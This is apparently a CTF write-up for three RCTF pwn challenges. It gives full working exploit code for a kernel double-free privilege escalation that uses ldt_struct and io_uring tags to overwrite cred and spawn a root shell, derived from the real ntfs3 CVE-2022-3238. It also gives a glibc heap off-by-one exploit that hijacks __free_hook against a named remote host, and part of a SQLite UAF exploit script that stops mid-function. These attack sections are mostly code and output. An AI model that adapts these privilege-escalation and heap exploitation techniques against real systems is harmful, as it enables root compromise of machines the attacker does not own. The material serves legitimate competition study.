The idea of the game comes from the utilization process of CVE-2022-3238, a double free local priveledge escalation I found in ntfs3 subsystem this year. If the character option is used when mounting ntfs3 file system, Then remout and umount will produce a 0x10 byte double free (but there is actually another 0x20).

Some changes were made to the scene here. The original vulnerability appeared in the assignment of opts pointer to another structure member in super.c, and the title changed this operation to memcpy of reborn operation. This results in double free.

The code is written a little rotten, resulting in the compilation of the binary file is very ugly, considering the competition pwn question number is more, in order not to increase the master’s reverse workload in the competition directly released the source code.

Exploit

1.leak heap_addr by ldt_struct

struct ldt_struct {
    struct desc_struct    *entries;
    unsigned int        nr_entries;
    int            slot;
};

The structure is exactly 0x10 bytes in size, and the first eight bytes happen to be a pointer to data that also happens to be allocated through the heap, so the heap_addr can be leaked through double free and read. (In the real world, I do this with the ldt_struct structure combined with fuse+setxattr+getxattr)

ioctl(fd,114,"flag=123456789");//kmalloc(0x10)
ioctl(fd,1,0);
ioctl(fd,114,"flag=123456789");//kfree
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));//alloc ldt_struct
read(fd,leak,0x10);//leak

2.arbitrary address read ref

When read_ldt is called, the content pointing to entries will be copied to the user state through copy_to_user

static int read_ldt(void __user *ptr, unsigned long bytecount)
{
    ...
    entries_size = mm->context.ldt->nr_entries * LDT_ENTRY_SIZE;
    if (entries_size > bytecount)
        entries_size = bytecount;
    if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
        retval = -EFAULT;
        goto out_unlock;
    }
    ...
}

It is easy to imagine that if you can control the entries pointer and nr_entries of the ldt_struct structure, you can leak memory at any address. However, the subject hardened usercopy, so it is impossible to hardened entries to implement arbitrary reads at linear addresses.

Looking at the source code for the fork system call, we can find the following execution chain:

sys_fork()
    kernel_clone()
        copy_process()
            copy_mm()
                dup_mm()
                    dup_mmap()
                        arch_dup_mmap()
                            ldt_dup_context()

ldt_dup_context() is defined in ‘arch/x86/kernel/ldt.c’, noting the following logic:

/*
 * Called on fork from arch_dup_mmap(). Just copy the current LDT state,
 * the new task is not running, so nothing can be installed.
 */
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
    ...
    memcpy(new_ldt->entries, old_mm->context.ldt->entries,
           new_ldt->nr_entries * LDT_ENTRY_SIZE);
    ...
}

Here we copy the parent’s ldt->entries to the child process via memcpy. is an entirely hardened kernel operation, and therefore does not trigger hardened usercopy checks. We just need to set the search address in the parent process and then open the child process to read the data with read_ldt().

With that in mind, you need to find a place where you can hijack the ldt_struct structure, and the size needs to be in the 0x10 byte range.

io_uring is a high-performance asynchronous I/O framework first introduced by the Linux 5.1 kernel in 2019. It can significantly accelerate the performance of I/O intensive applications. In order to reduce memory mapping during I/O operations, this module allows users to register some fixed I/O buffers in advance so that these buffers can be reused.

//liburing.h
int io_uring_register_buffers(struct io_uring *ring, const struct iovec *iovecs,
                  unsigned nr_iovecs);
int io_uring_register_buffers_tags(struct io_uring *ring,
                   const struct iovec *iovecs,
                   const __u64 *tags, unsigned nr);

These buffers can also be tagged in the io_uring_register_buffers_tags function.

From reading the kernel source code, allocate buffers to tags as follows:

__cold static int io_rsrc_data_alloc(struct io_ring_ctx *ctx,
                     rsrc_put_fn *do_put, u64 __user *utags,
                     unsigned nr, struct io_rsrc_data **pdata)
{
    ...
    //nr is the number of registered buffers/tags, nr * sizeof(data->tags[0][0]) is the sizeof the array to store all tag Pointers
    data->tags = (u64 **)io_alloc_page_table(nr * sizeof(data->tags[0][0]));
    ...
    //Copy data from user mode to tag
    for (i = 0; i < nr; i++) {
        u64 *tag_slot = io_get_tag_slot(data, i);
        if (copy_from_user(tag_slot, &utags[i],
                sizeof(*tag_slot)))
            goto fail;
    }
}

static __cold void **io_alloc_page_table(size_t size)
{
    unsigned i, nr_tables = DIV_ROUND_UP(size, PAGE_SIZE);
    size_t init_size = size;
    void **table;

    table = kcalloc(nr_tables, sizeof(*table), GFP_KERNEL_ACCOUNT);//Allocating tag array
    if (!table)
        return NULL;

    for (i = 0; i < nr_tables; i++) {
        unsigned int this_size = min_t(size_t, size, PAGE_SIZE);//Each tag contains a maximum of PAGE_SIZE bytes

        table[i] = kzalloc(this_size, GFP_KERNEL_ACCOUNT);//8 ~ PAGE_SIZE
        if (!table[i]) {
            io_free_page_table(table, init_size);
            return NULL;
        }
        size -= this_size;
    }
    return table;
}

The size of the storage tag can range from 8 bytes to 0x1000 bytes, so a memory of 0x10 bytes can be requested by registering two buffers with uring.

io_uring also provides the updating function for these buffers

//liburing.h
int io_uring_register_buffers_update_tag(struct io_uring *ring,
                     unsigned off,
                     const struct iovec *iovecs,
                     const __u64 *tags, unsigned nr);

So the idea here is fairly clear, using double free to allocate buffers_tags and ldt_struct to the same memory, and then using io_uring_register_buffers_update_tag to hijack the ldt_struct data.

ioctl(fd,114,"flag=123456789");  //kmalloc(0x10)
ioctl(fd,114,"flag=123456789");  //kfree
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));//ldt_struct
ioctl(fd,22,0);                  //kfree
register_reg(&ring,leak_heap);   //kzalloc

update_tag(&ring,heap - i * PAGESIZE,PAGESIZE);  //Setting the search Address
if(!fork()){//ldt_dup_context => memcpy(new_ldt->entries, old_mm->context.ldt->entries ...);
    int res = syscall(SYS_modify_ldt, 0, buf, PAGESIZE);//Read the PAGESIZE size data from new_ldt->entries, i.e. heap-i*PAGESIZE, into buf
}

We first spray the task struct structure and set the thread name

for (int i = 0; i < ProcessNUM; i++)
{
    pid_t child = fork();
    if (child == 0) {
        if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
            perror("Could not set name");
        }
    ....
}

In combination with arbitrary address read and memory alignment, we can reveal the cred struct address of the child process.

3. Arbitrary address write

After the cred address is leaked, one way to priveledge escalation is to change the uid and gid in the cred structure to 0.

Notice that when you register buffer_tag in step 2, you allocate both the array memory for the tag and the memory for the tag.

static __cold void **io_alloc_page_table(size_t size)
{
    unsigned i, nr_tables = DIV_ROUND_UP(size, PAGE_SIZE);
    size_t init_size = size;
    void **table;

    table = kcalloc(nr_tables, sizeof(*table), GFP_KERNEL_ACCOUNT);//Allocate tag array memory, size = nr_tables * DIV_ROUND_UP(size, PAGE_SIZE)
    if (!table)
        return NULL;

    for (i = 0; i < nr_tables; i++) {
        unsigned int this_size = min_t(size_t, size, PAGE_SIZE);

        table[i] = kzalloc(this_size, GFP_KERNEL_ACCOUNT);//Allocating tag memory
        if (!table[i]) {
            io_free_page_table(table, init_size);
            return NULL;
        }
        size -= this_size;
    }
    return table;
}

It is easy to think that we register two uring, uring0 alloc 0x10 byte for tag array and uring1 alloc 0x10 byte for tag,We can then use uring0 to Arbitrary address write by changing the tag pointer to uring0 with uring1.

ioctl(fd,114,"flag=123456789");//kmalloc(0x10)
ioctl(fd,114,"flag=123456789");//kfree
register_tag(&ring1,Data,PAGESIZE/8 + 1);//uring0:  kcalloc  sizeof(tags_array) = 0x10
ioctl(fd,22,0);//kfree
Data[0] = cred+4;
register_tag(&ring2,Data,2);             //uring1:  kzalloc  sizeof(tag) = 0x10  tags array[0] is modified to cred+4
Data[0] = 0;
update_tag(&ring1,Data,1);               //uring0:  *io_get_tag_slot(ctx->buf_data, offset) = tag;  *(cred+4) = 0

exp

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <asm/ldt.h>
#include <string.h>
#include "liburing.h"

int fd = -1;
#define PAGESIZE 0x1000
#define ProcessNUM  0x30
#define UringNUM 0x20
pid_t processes[ProcessNUM];
#define __ID__ "wawwwwww"


struct io_uring ring, ring1, ring2;
struct ldt_struct {
    size_t   entries;
    unsigned int nr_entries;
    int         slot;
};


void errExit(char * msg)
{
    printf("[x] Error at: %s\n", msg);
    exit(EXIT_FAILURE);
}

void init_uring(){
    io_uring_queue_init(2,&ring, 0);
    io_uring_queue_init(2,&ring1,0);
    io_uring_queue_init(2,&ring2,0);
}

void register_tag(struct io_uring *ring,size_t *data,int num){
    char tmp_buf[0x2000];
    struct iovec vecs[num];
    size_t tags[num];
    memcpy(tags,data,num*sizeof(size_t));
    for(int i=0;i<num;i++){
        vecs[i].iov_base = tmp_buf;
        vecs[i].iov_len = 1;
    }
    //io_alloc_page_table
    int res = io_uring_register_buffers_tags(ring,vecs,tags,num);//kcalloc(nr_tables, sizeof(*table), GFP_KERNEL_ACCOUNT);
    if (res < 0){
        errExit(sprintf("io_uring_register_buffers_tags %d\n",res));
    }
}


void update_tag(struct io_uring *ring,size_t Data,int num){
    char tmp_buf[1024];
    struct iovec vecs[2];
    vecs[0].iov_base = tmp_buf;
    vecs[0].iov_len = 1;
    vecs[1].iov_base = tmp_buf;
    vecs[1].iov_len = 1;
    int ret = io_uring_register_buffers_update_tag(ring, 0,vecs,Data,num);
    if (ret <0){
        errExit(sprintf("io_uring_register_buffers_update_tag %d\n",ret));
    }
}

int spawn_processes()
{
    for (int i = 0; i < ProcessNUM; i++)
    {
        pid_t child = fork();
        if (child == 0) {
            if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
                perror("Could not set name");
            }
            uid_t old = getuid();
            kill(getpid(), SIGSTOP);
            uid_t uid = getuid();
            if (uid == 0) {
                puts("Enjoy root!");
                system("/bin/sh");
            }
            exit(uid);
        }
        if (child < 0) {
            return child;
        }
        processes[i] = child;
    }
    return 0;
}
size_t find_cred(size_t heap)
{
    struct ldt_struct ldt;
    char buf[PAGESIZE];
    size_t *result_addr;
    size_t cred_addr = -1;
    int pipe_fd[2];
    int res = pipe(pipe_fd);
    if(res)
        errExit("pipe");

    heap = (heap/0x1000)*0x1000;
    for (int i = 0; i < PAGESIZE*PAGESIZE ; i++)
    {
        if(i && (i % 0x100) == 0){
            printf("looked up range from %p ~ %p\n",heap - i * PAGESIZE,heap + i * PAGESIZE);
        }
        //Forward search
        memset(buf,0,PAGESIZE);
        ldt.entries = heap - i * PAGESIZE;
        ldt.nr_entries = PAGESIZE/8;
        update_tag(&ring,&ldt,2);//Setting the search Address
        if(!fork()){
            int res = syscall(SYS_modify_ldt, 0, buf, PAGESIZE);
            if(res == PAGESIZE){
                result_addr = (size_t*) memmem(buf, 0x1000, __ID__, 8);
                if (result_addr){
                    printf("\033[32m\033[1m[+] Found cred: \033[0m0x%lx\n", result_addr[-2]);
                    cred_addr = result_addr[-2];
                }
                write(pipe_fd[1], &cred_addr, 8);
            }
            exit(0);
        }
        wait(NULL);
        read(pipe_fd[0], &cred_addr, 8);
        if (cred_addr != -1)
            break;
        //Search backwards
        memset(buf,0,PAGESIZE);
        ldt.entries = heap + i * PAGESIZE;
        ldt.nr_entries = PAGESIZE/8;
        update_tag(&ring,&ldt,2);//Setting the search Address
        if(!fork()){
            int res = syscall(SYS_modify_ldt, 0, buf, PAGESIZE);
            if(res == PAGESIZE){
                result_addr = (size_t*) memmem(buf, 0x1000, __ID__, 8);
                if (result_addr){
                    printf("\033[32m\033[1m[+] Found cred: \033[0m0x%lx\n", result_addr[-2]);
                    cred_addr = result_addr[-2];
                }
                write(pipe_fd[1], &cred_addr, 8);
            }
            exit(0);
        }
        wait(NULL);
        read(pipe_fd[0], &cred_addr, 8);
        if (cred_addr != -1)
            break;
    }
    return cred_addr;
}

int spawn_root_shell()
{
    for (int i = 0; i < ProcessNUM; i++)
    {
        kill(processes[i], SIGCONT);
    }
    while(wait(NULL) > 0);

    return 0;
}

int main(){
    struct user_desc desc;
    size_t leak_heap,cred;
    size_t Data[0x1000];
    memset(Data,0,sizeof(Data));
    memset(&desc,0,sizeof(struct user_desc));
    char leak[0x10];
    fd = open("/dev/game",O_RDWR);
    if(fd == -1)
        errExit("fail to open dev");

    ioctl(fd,0,0);
    spawn_processes();

//1. leak heap addr
    ioctl(fd,114,"flag=123456789");//kmalloc(0x10)
    init_uring();
    ioctl(fd,1,0);
    ioctl(fd,114,"flag=123456789");//kfree
    syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));//write_ldt
    read(fd,leak,0x10);//leak
    leak_heap = *(size_t*)leak;
    if((!leak_heap))
        errExit("\033[31m[-] Could not leak heap_addr \033[0m");
    printf("\033[32m\033[1m[+] leak heap_addr: \033[0m0x%lx\n", leak_heap);

//2. Find cred'struct by arbitrary address read 
    ioctl(fd,22,0);//kfree
    Data[0] = leak_heap;
    register_tag(&ring,Data,2);//kzalloc
    cred = find_cred(leak_heap);

//3. Overwrite uid and gid by Arbitrary address write
    close(fd);
    fd = open("/dev/game",O_RDWR);
    if(fd == -1)
        errExit("fail to open dev");
    ioctl(fd,0,0);
    ioctl(fd,114,"flag=123456789");//kmalloc(0x10)
    ioctl(fd,1,0);
    ioctl(fd,114,"flag=123456789");//kfree
    register_tag(&ring1,Data,PAGESIZE/8 + 1);//io_alloc_page_table
    ioctl(fd,22,0);//kfree
    Data[0] = cred+4;
    register_tag(&ring2,Data,2);//tags[0] = cred+4
    Data[0] = 0;
    update_tag(&ring1,Data,1);//{long}cred+4 = 0
    for(int i = 0;i<3;i++){
        Data[0] = cred+4+8*(i+1);
        update_tag(&ring2,Data,1);//tags[0] = cred+4+8*(i+1)
        Data[0] = 0;
        update_tag(&ring1,Data,1);//{long}cred+4+8*(i+1) = 0
    }
    puts("\033[32m\033[1m[+] Done \033[0m");
    spawn_root_shell();
    puts("\033[31m[-] It should never be here \033[0m");
    return 0;
}
/ $ ./exp
[+] leak heap_addr: 0xffff8c0042137340
[+] Found cred: 0xffff8c0042194f00
[+] Done
Enjoy root!
/ # cat flag
RCTF{448c1ed5da862e22be9c1b4c95c}
/ #

picStore

challenge introduction

Based on picStore_re, it is a menu topic, with five options and five functions, as follows:

Main function: Use the lowest bit of RBG data in bmp pictures to realize concealed data transmission.

vulnerability

When uploading pictures, there is an off-by-one bit, which can overflow and overwrite a bit to null, as shown in the figure below

exploit

Construct heap blocks, use the off-by-one bit to cover the inuse bit to achieve unlink. It will merge forward, causing the heap blocks to overlap, see exp for details.

exp:

from pwn import *

show_info_sign = True
def show_debug_info(flag = True):
    global show_info_sign

    if flag == True:
        #context.log_level = 'DEBUG'
        show_info_sign = True
    else:
        #context.log_level = 'info'
        show_info_sign = False

def d2v_x64(data):
    return u64(data[:8].ljust(8, '\x00'))

def d2v_x32(data):
    return u32(data[:4].ljust(4, '\x00'))

def expect_data(io_or_data, b_str = None, e_str = None):
    if type(io_or_data) != str:
        t_io = io_or_data

        if b_str != None and b_str != "":
            recvuntil(t_io, b_str)
        data = recvuntil(t_io, e_str)[:-len(e_str)]
    else:
        if b_str == None or b_str == "":
            b_pos = 0
        else:
            t_data = io_or_data
            b_pos = t_data.find(b_str)
            if b_pos == -1:
                return ""
            b_pos += len(b_str)

        if e_str == None or e_str == "":
            data = t_data[b_pos:]
        else:
            e_pos = t_data.find(e_str, b_pos)
            if e_pos == -1:
                return ""
            data = t_data[b_pos:e_pos]
    return data

import sys
def show_echo(data):
    global show_info_sign
    if show_info_sign:
        sys.stdout.write(data)

def recv(io, size):
    data = io.recv(size)
    show_echo(data)
    return data

def recvuntil(io, info):
    data = io.recvuntil(info)
    show_echo(data)
    return data

def send(io, data):
    io.send(data)
    show_echo(data)

def sendline(io, data):
    send(io, data + "\n")

def rd_wr_str(io, info, buff):
    #io.recvuntil(info, timeout = 2)
    #io.send(buff)
    data = recvuntil(io, info)
    send(io, buff)
    return data

def rd_wr_int(io, info, val):
    return rd_wr_str(io, info, str(val) + "\n")

def r_w(io, info, data):
    if type(data) == int:
        return rd_wr_int(io, info, data)
    else:
        return rd_wr_str(io, info, data)

def set_context():
    binary_elf = ELF(binary_path)
    context(arch = binary_elf.arch, os = 'linux', endian = binary_elf.endian)

import commands
def do_command(cmd_line):
    (status, output) = commands.getstatusoutput(cmd_line)
    return output

global_pid_int = -1
def gdb_attach(io, break_list = [], is_pie = False, code_base = 0, gdbscript_pre = "", gdbscript_suf = "c\n"):
    global global_pid_int
    if is_dbg:
        set_pid(io)
        if is_pie == True:
            if code_base == 0:
                set_pid(io)
                data = do_command("cat /proc/%d/maps"%global_pid_int)
                code_base = int(data.split("\n")[0].split("-")[0], 16)
        gdbscript = ""
        gdbscript += gdbscript_pre
        for item in break_list:
            gdbscript += "b *0x%x\n"%(item + code_base)
        gdbscript += gdbscript_suf

        #gdb.attach(global_pid_int, gdbscript = gdbscript, exe = binary_path)
        gdb.attach(global_pid_int, gdbscript = gdbscript)

def set_pid(io):
    global global_pid_int
    if global_pid_int == -1:
        if is_dbg:
            """
            data = do_command("ps -aux | grep -E '%s$'"%(binary_path.replace("./", ""))).strip().split("\n")[-1]
            #print "-"*0x10
            #print repr(data)
            items = data.split(" ")[1:]
            global_pid_int = 0
            i = 0
            while len(items[i]) == 0:
                i += 1
            global_pid_int = int(items[i])
            #"""
            global_pid_int = pidof(io)[0]

def gdb_hint(io, info = ""):
    if info != "":
        print info
    if is_dbg:
        set_pid(io)
        raw_input("----attach pidof '%d', press enter to continue......----"%global_pid_int)

    if info != "":
        print "pass", info

def get_io(target):
    if type(target) == str:
        io = process(target, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
        #io = process(target, shell = True, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
    else:
        io = remote(target[0], target[1])
    return io

def r_w(io, info, data):
    if type(data) == int:
        rd_wr_int(io, info, data)
    else:
        rd_wr_str(io, info, data)

def m_c(io, choice, prompt = ">> "):
    r_w(io, prompt, choice)

def s_i(io, choice, prompt = [": "]):
    r_w(io, prompt, choice)


def pack_img(data, size = None, add_width = 0):
    height = 1

    if size is None:
        size = len(data)<<3

    use_size = len(data) << 3
    if use_size % 3 != 0:
        use_size += 3 - (use_size %3)

    width = use_size / 3
    width += add_width
    #if width == 0:
    #   width = 1

    file_size = 0x36 + 3*width*height

    bmfh = ""
    bmfh += "BM"
    bmfh += p32(file_size)
    bmfh += p16(size)
    bmfh += p16(0)
    bmfh += p32(0x36)

    bmih = ""
    bmih += p32(40)
    bmih += p32(width)
    bmih += p32(height)
    bmih += p16(1)
    bmih += p16(24)
    bmih += p32(0)
    bmih += p32(3*width*height)
    bmih += p32(0)*4

    body = ""
    for val in data:
        val = ord(val)
        for i in range(8):
            bit = val&1
            val >>= 1
            body += p8(bit)

    #print("width = %x, height = %x, 3*height*width=%x, len(data)=%x"%(width, height, 3*height*width, len(data)))
    #raw_input("tt")
    if len(body) < 3*width*height:
        body  = body.ljust(3*width*height, '\x00')

    return bmfh + bmih + body


def upload_data(io, data, size = None):
    m_c(io, 1)
    recvuntil(io, ": ")
    #io.interactive()

    if size is None:
        size = len(data)

    MAX_BLOCK_SIZE = 0x1200
    for i in range(0, size, MAX_BLOCK_SIZE / 8):
        use_data = data[i:i+MAX_BLOCK_SIZE / 8]
        #print("i: ", hex(i), hex(MAX_BLOCK_SIZE/8), hex(len(data)))
        if i == 0:
            use_size = size << 3
        else:
            use_size = len(use_data) << 3
        img_data = pack_img(use_data, use_size)

        #print("hex(len(img_data)): ", hex(len(img_data)))
        send(io, img_data)

def upload_data_overflow(io, data, size = None):
    m_c(io, 1)
    recvuntil(io, ": ")

    if size is None:
        size = len(data)

    MAX_BLOCK_SIZE = 0x1200
    for i in range(0, len(data), MAX_BLOCK_SIZE / 8):
        use_data = data[i:i + MAX_BLOCK_SIZE / 8]
        #print("i: ", hex(i), hex(MAX_BLOCK_SIZE/8), hex(len(data)))
        add_width = 0
        if i == 0:
            use_size = size << 3
        elif (i+MAX_BLOCK_SIZE / 8) >= len(data):
            use_size = (len(use_data) << 3) + 1
            #raw_input("use_size: " + hex(use_size))
            add_width = 1
        else:
            #use_data = ''
            use_size = (len(use_data) << 3)
        img_data = pack_img(use_data, use_size, add_width)

        send(io, img_data)

def download_data(io, idx):
    m_c(io, 2)
    s_i(io, idx)

    res = recvuntil(io, "img data: ")

    print("res: ", repr(res))

    MAX_BLOCK_SIZE = 0x1200
    count_idx = 0
    data_size = 0
    data_all = ""
    while True:
        data = recv(io, 0x36)
        file_size = u32(data[2:2+4])
        msg_size = u16(data[6:6+2])

        print("file_size: ", hex(file_size))
        print("msg_size: ", hex(msg_size))

        data = ""
        left_size = file_size - 0x36
        while left_size > 0:
            data += recv(io, left_size)
            left_size = file_size - 0x36 - len(data)
        print("len(data): ", hex(len(data)))
        if count_idx == 0:
            data_size = msg_size
            if msg_size > len(data):
                msg_size = len(data)
            if msg_size > MAX_BLOCK_SIZE:
                msg_size = MAX_BLOCK_SIZE
        count_idx += 1

        bit_val = 0
        bit_count = 0
        for i in range(msg_size):
            val = ord(data[i])
            if (val & 1) == 1:
                bit_val |= (1 << bit_count)
            bit_count += 1
            if bit_count == 8:
                data_all += p8(bit_val)
                bit_count = 0
                bit_val = 0

        print("file_size1: ", hex(file_size))
        print("msg_size2: ", hex(msg_size))
        print("data_all: ", hex(len(data_all)))
        print("data_size>>3: ", hex(data_size>>3))

        if len(data_all) == (data_size>>3):
            break
    print("data: ", data_all)
    return data_all

def delete_data(io, idx):
    m_c(io, 3)
    s_i(io, idx)

def list_data(io):
    m_c(io, 4)

import commands
def do_command(cmd_line):
    (status, output) = commands.getstatusoutput(cmd_line)
    return output

def checkmap():
    global binary_path
    data = do_command("ps -aux | grep -E '%s$'"%(binary_path.replace("./", ""))).strip().split("\n")[-1]

    data = " ".join(data.split(" ")[1:])
    data = data.strip()
    print(data)
    items = data.split(" ")
    print items
    pid_int = 0
    i = 0
    while len(items[i]) == 0:
        i += 1
    pid_int = int(items[i])

    data =  do_command("cat /proc/%d/maps |grep \"heap\""%pid_int)
    print(data)
    heap_str = data.split("-")[0]
    heap_addr = int(heap_str, 16)

    print("heap_addr:", hex(heap_addr&0xffff))
    #if heap_addr&0xffff != (0xd000 - 0xa000 - 0x6000)&0xffff or (heap_addr>>16)&1 != 1:
    if heap_addr&0xffff != (0x0000)&0xffff or (heap_addr>>16)&3 != 0x3:
        return False
    return True

def pwn(io):

    #context.update(log_level = "debug")
    #offset info
    """
    offset_system = libc_elf.symbols["system]
    offset_binsh  = next(libc_elf.search("/bin/sh\x00"))

    puts_plt = bin_elf.plt("puts")
    puts_got = bin_elf.got("puts")
    """

    """
    payload = ""
    payload += "a"*0x27 + "\x00"

    gdb_hint(io)
    upload_data(io, payload)

    payload = ""
    payload += "a"*0x27 + "\x00"
    upload_data(io, payload, 0x100)

    MAX_BLOCK_SIZE = 0x1200
    #MAX_BLOCK_SIZE / 8 = 576 = 0x240
    payload = ""
    payload += "a"*(0x240*2 + 0x27) + "\x00"
    gdb_hint(io)
    upload_data_overflow(io, payload)

    payload = ""
    payload += '1'*(0x5e0-0x10)
    payload += p64(0x600)
    upload_data(io, payload, 0x5e0-8)

    download_data(io, 0)
    raw_input("wait-0")
    download_data(io, 1)
    raw_input("wait-1")
    download_data(io, 2)
    raw_input("wait-2")
    download_data(io, 3)
    raw_input("wait-3")

    io.interactive()
    #"""


    for size in [0x90, 0x90, 0x90, 0x110, 0x1e0, 0x230, 0x410, 0x7f0]:
        print("take size:", hex(size))

        upload_data(io, 'n\x00', size-8)


    upload_data(io, 'n\x00', 0xe00-8 + 0x220-0x20+0x20-0x440) #0
    list_data(io)
    recvuntil(io, "choice")


    #"""
    if is_local == True and checkmap() == False:
        return False
    #"""

    tc_idx = 9
    for i in range(7):
        upload_data(io, "n\x00", 0x28) #1

    pad_idx = tc_idx + 7
    upload_data(io, "n\x00", 0x1d40 - 0x30*7) #8

    largebin_idx = pad_idx + 1 
    upload_data(io, "a\x00", 0x1000) #9
    upload_data(io, 'a\x00', 0x10) #10
    delete_data(io, largebin_idx)

    upload_data(io, "a\x00", 0x1020) #9
    #raw_input("unsortbin")

    victim_idx = largebin_idx + 2 #11
    payload = ""
    payload += p64(0x9 + 0x91) + p64(0x601)#[:-1]
    payload += p16(0x20)# + "\x00"
    #raw_input("largebin")
    #upload_data(io, payload, 0x28) #11

    upload_data(io, payload, 0x600 - 8 + 0x10) #11
    upload_data(io, 'a\x00', 0x4f8) #12
    upload_data(io, 'a\x00', 0x4f8) #13

    delete_data(io, victim_idx)

    payload = ""
    payload += p64(0x0) + p64(0x601)#[:-1]
    payload += p16(0x40)# + "\x00"
    #raw_input("largebin")
    upload_data(io, payload, 0x28) #11

    delete_data(io, victim_idx + 2) #13

    #make largebin
    upload_data(io, 'a\x00', 0x500-8) #13
    #raw_input("largebin")

    fidx = victim_idx + 3 #14
    for i in range(4):
        if i == 0:
            payload = ""
            payload += '\x00'*0x18
            payload += p8(0x10) + "\x00"
            upload_data(io, payload, 0x1a)
        else:
            payload = ""
            payload += '\x00'*0x28
            upload_data(io, payload, 0x28) #14 ~ 17

    for i in range(7):
        delete_data(io, tc_idx + 6 - i)

    delete_data(io, fidx + 1) #

    delete_data(io, victim_idx) #useful fd

    for i in range(7):
        upload_data(io, "a\x00", 0x28) #tc_idx

    payload = ""
    payload += p8(0x10) + "\x00"
    upload_data(io, payload, 0x28) #victim_idx pre_fd

    payload = ""
    payload += '\x00'*0x28
    upload_data(io, payload, 0x28) #fidx + 1

    pre_node_idx = fidx + 4
    payload = ""
    payload += '1'*(0x520-0x10)
    payload += p64(0x600)
    upload_data_overflow(io, payload, 0x520 - 8) #pre_node_idx overwrite 0x501

    delete_data(io, victim_idx + 1) #victim_idx + 1

    upload_data(io, "\x00", 0x18) #victim_idx + 1

    pad_idx = tc_idx + 7
    largebin_idx = pad_idx + 1 
    victim_idx = largebin_idx + 2 #11

    payload = ""
    payload += "\x00"
    cur_idx = pre_node_idx + 1 #19
    upload_data(io, payload, 0x28)

    data = download_data(io, 15 + tc_idx - 1)
    libc_addr = u64(data[:8].ljust(0x8, '\x00'))

    print("libc_addr:", hex(libc_addr))
    libc_base = libc_addr - 0x1ebbe0
    __free_hook = 0x1eeb28 + libc_base
    system_addr = 0x55410 + libc_base

    libc_base = libc_addr - 0x1ecbe0
    __free_hook = libc_base + libc_elf.symbols["__free_hook"]
    system_addr = libc_base + libc_elf.symbols["system"]


    delete_data(io, 17 + tc_idx - 1)
    delete_data(io, 16 + tc_idx - 1)

    payload = ""
    payload += "/bin/sh".ljust(0x20, "\x00")
    payload += p64(0) + p64(0x31)
    payload += p64(__free_hook)
    upload_data(io, payload, 0x100)

    upload_data(io, '\x00', 0x28) #take first tcache
    payload = p64(system_addr)

    delete_data(io, victim_idx + 2)
    upload_data(io, payload, 0x28) #write free_hook

    delete_data(io, 15 + tc_idx - 1)
    io.sendline("cat flag")
    io.interactive()




import sys
if len(sys.argv) >= 2 and sys.argv[1][0] in "rR":
    is_local = False
else:
    is_local = True
is_local = False
is_dbg = True
#is_dbg = False

binary_path = "./picStore"
ip, port = "190.92.238.134 6679".split(" ")
port = int(port, 10)

libc_file_path = ""
#libc_file_path = "./libc.so.6"
bin_elf = ELF(binary_path)
if is_local:
    libc_elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    libc_elf = ELF("./libc_target.so.6")

if is_local:
    # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
    show_debug_info(True)
    target = binary_path
else:
    show_debug_info(False)
    target = (ip, port)

show_debug_info(False)
while True:
    try:
        io = get_io(target)
        if pwn(io) == True:
            print("break?")
            break
        io.close()
    except Exception as e:
        pass

ppuery

ideas

A simple query interactor written using https://github.com/SRombauts/SQLiteCpp.
Several functions related to heap management are inserted into the used sqlite.
The SELECT query is fixed, only SELECT * FROM test. But the database is not fixed and can be changed at will.

exploit

  1. Find the inserted heap management function and find UAF
  2. Implement arbitrary query call (https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/) through QOP, and trigger UAF to complete the utilization.

script

#!/bin/env python3
from pwn import *  # type-ignore

context.log_level = True
context.terminal = ["tmux", "new-window"]
context.arch = 'amd64'
remote_addr = ['localhost', 22222]  # 23333 for ubuntu16, 23334 for 18, 23335 for 19
is_remote = True
sqlite_bin = "./sqlite_bin"

elf_path = "./ppuery"
if is_remote:
    p = remote(remote_addr[0], remote_addr[1])
else:
    p = process(elf_path, aslr=True)
elf = ELF(elf_path)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")


def ru(x):
    return p.recvuntil(x)


def sn(x):
    return p.send(x)


def rl():
    return p.recvline()


def sl(x):
    return p.sendline(x)


def rv(x):
    return p.recv(x)


def sa(a, b):
    return p.sendafter(a, b)


def sla(a, b):
    return p.sendlineafter(a, b)


def lg(s, addr=None):
    if addr:
        print('\033[1;31;40m[+]  %-15s  --> 0x%8x\033[0m' % (s, addr))
    else:
        print('\033[1;32;40m[-]  %-20s \033[0m' % (s))


def raddr(a=6):
    if a == 6:
        return u64(rv(a).ljust(8, '\x00'))
    else:
        return u64(rl().strip('\n').ljust(8, '\x00'))

disable_buffer = False

def choice(idx):
    if disable_buffer:
        sl(str(idx))
        sleep(0.2)
    else:
        sla(": ", str(idx))

all_dbs = []

def patch(db_name):
    choice(3)
    choice(all_dbs.index(db_name))
    with open(f"dbs/{db_name}", 'rb') as f:
        content = f.read()
    choice(len(content))
    sa(":", content)

def add(db_name):
    choice(1)
    choice(db_name)
    all_dbs.append(db_name)
    patch(db_name)

def use(db_name):
    choice(2)
    choice(all_dbs.index(db_name))

CMD = ""
def create_alloc(db_name, idx, size):
    pp = process([sqlite_bin, "-interactive", "dbs/" + db_name])
    pp.sendlineafter(">", f"create view test(v1) as select sm({idx}, {size});")
    pp.sendlineafter(">", ".q")
    pp.close()
    add(db_name)

def create_free(db_name, idx):
    pp = process([sqlite_bin, "-interactive", "dbs/" + db_name])
    pp.sendlineafter(">", f"create view test(v1) as select sd({idx});")
    pp.sendlineafter(">", ".q")
    pp.close()
    add(db_name)

def create_show(db_name, idx):
    pp = process([sqlite_bin, "-interactive", "dbs/" + db_name])
    pp.sendlineafter(">", f"create view test(v1) as select ss({idx});")
    pp.sendlineafter(">", ".q")
